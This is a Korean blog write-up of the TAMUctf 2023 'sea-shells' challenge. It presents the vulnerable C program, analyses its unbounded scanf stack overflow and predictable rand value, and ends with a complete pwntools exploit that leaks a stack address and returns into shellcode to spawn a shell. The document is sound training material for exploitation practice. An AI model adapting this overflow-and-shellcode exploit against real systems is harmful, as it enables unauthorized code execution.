728x90
반응형
1. intro
2. code 및 분석
2.1. code
#include <stdio.h>
#include <stdlib.h>
int check(unsigned long n, unsigned long sold) {
if ((n & 0xffff) == (sold & 0xffff)) {
return 1;
}
return 0;
}
void vuln() {
unsigned long num_sold;
char resp;
unsigned long a;
unsigned long b;
unsigned long c;
unsigned long d;
num_sold = rand();
printf("It's not that easy though, enter 4 numbers to use to guess!\n");
do {
// ask user for input
printf("1st number: ");
scanf("%lu", &a);
printf("2nd number: ");
scanf("%lu", &b);
printf("3rd number: ");
scanf("%lu", &c);
printf("4th number: ");
scanf("%lu", &d);
// perform some calculations on the numbers
d = d + c;
c = c ^ b;
b = b - a;
if (check(d, num_sold)) {
printf("Woohoo! That's exactly how many she sold!\n");
printf("Here's a little something Sally wants to give you for your hard work: %lx\n", &d);
} else {
printf("Sorry, that's not quite right :(\n");
}
// go again?
printf("Would you like to guess again? (y/n) ");
scanf("%s", &resp);
} while (resp == 'Y' || resp == 'y');
return;
}
void welcome() {
printf("Sally sold some sea SHELLS!\n");
printf("Try to guess exactly how many she sold, I bet you can't!!\n");
}
int main() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
welcome();
vuln();
printf("'bye now'\n-Sally\n");
return 0;
}
2.2. 분석
main 함수에서는 vuln 함수를 실행하는 역할을 한다.
vuln 함수에서는 입력을 4번 받아들이고,
해당 입력 값을 특정 연산한 다음 rand 값과 동일하면 특정 값을 출력해주고,
다르면 y or n 입력을 받아 다시 실행할 것인지 결정한다.
3. 취약점 확인 및 공격 준비
3.1. 취약점
scanf로 값을 받아들임에 따라 크기가 지정되어 있지 않아 overflow가 발생한다.
3.2. 공격 준비
바이너리에서 rand 사용 시 seed가 없는 경우에는 바이너리 생성 시에 고정된 값으로 존재하게 된다.
그리고 scanf 사용 시 %s로 값을 받아들일 때 크기가 지정되어있지 않다면 overflow가 발생하게 된다.
문제에서 4개의 입력 값은 연산을 하는데, 최종적으로 사용되는 값은 d 이며,
이는 d + c이기 때문에 c를 0으로 만들면 d만 넣으면 된다.
c 또한 c ^ b, b 는 b - a이기 때문에 전부 0, d는 rand 값을 삽입하면 될 것이다.
이를 만족하면 d 변수의 주소를 출력해준다.
더불어 해당 stack 영역은 실행 권한이 있기 때문에 shellcode와 함께 해당 위치로 return하도록 만들면 될 것이다.
4. exploit
from pwn import *
p = remote("tamuctf.com", 443, ssl=True, sni="sea-shells")
#p = process('./sea-shells')
p.sendlineafter(b': ',b'0')
p.sendlineafter(b': ',b'0')
p.sendlineafter(b': ',b'0')
p.sendlineafter(b': ',b'1804289383')
p.recvuntil(b': ')
leak = int(p.recvline()[:-1],16) + 0x40
print(hex(leak))
context.arch = "amd64"
pay = b'y' + b'A'*16 + p64(leak)
pay += asm(shellcraft.sh())
p.sendlineafter(b'/n) ',pay)
p.interactive()
728x90
반응형
'CTF > Solved' 카테고리의 다른 글
TAMUctf 2023 - Pointer (0) | 2023.05.01 |
---|---|
TAMUctf 2023 - Inspector Gadget (0) | 2023.05.01 |
TAMUctf 2023 - Unlucky (0) | 2023.05.01 |
Dreamhack CTF Season 3 Round #2 (🌱Div2) - baby-linux (0) | 2023.04.22 |
Dreamhack CTF Season 3 Round #2 (🌱Div2) - simple-operation (0) | 2023.04.22 |